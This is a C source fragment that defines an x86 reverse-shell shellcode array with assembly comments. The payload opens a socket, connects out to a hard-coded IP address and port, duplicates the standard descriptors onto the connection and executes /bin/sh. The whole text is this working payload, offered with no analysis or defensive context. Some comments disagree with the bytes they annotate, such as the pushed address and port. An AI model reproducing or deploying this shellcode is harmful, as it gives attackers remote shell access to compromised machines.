#define       IPADDR  "\xc0\xa8\x20\x80"
 #define PORT  "\x27\x10"              /* htons(10000) */

 char sc[] =
    "\x90\x90"
    "\x90\x90"
    "\x31\xc9"                 // xor    ecx, ecx
    "\xf7\xe1"                 // mul    ecx
    "\x51"                     // push   ecx
    "\x41"                     // inc    ecx
    "\x51"                     // push   ecx
    "\x41"                     // inc    ecx
    "\x51"                     // push   ecx
    "\x51"                     // push   ecx
    "\xb0\x61"                 // mov    al, 97
    "\xcd\x80"                 // int    80h
    "\x89\xc3"                 // mov    ebx, eax
    "\x68"IPADDR                       // push   dword 0101017fh
    "\x66\x68"PORT             // push   word 4135
    "\x66\x51"                 // push   cx
    "\x89\xe6"                 // mov    esi, esp
    "\xb2\x10"                 // mov    dl, 16
    "\x52"                     // push   edx
   "\x56"                     // push   esi
    "\x50"                     // push   eax
    "\x50"                     // push   eax
    "\xb0\x62"                 // mov    al, 98
    "\xcd\x80"                 // int    80h
    "\x41"                     // inc    ecx
    "\xb0\x5a"                 // mov    al, 90
    "\x49"                     // dec    ecx
    "\x51"                     // push   ecx
    "\x53"                     // push   ebx
    "\x53"                     // push   ebx
    "\xcd\x80"                 // int    80h
    "\x41"                     // inc    ecx
    "\xe2\xf5"                 // loop   -10
    "\x51"                     // push   ecx
    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
    "\x89\xe3"                 // mov    ebx, esp
    "\x51"                     // push   ecx
    "\x54"                     // push   esp
    "\x53"                     // push   ebx
    "\x53"                     // push   ebx
    "\xb0\xc4\x34\xff"
    "\xcd\x80";                // int    80h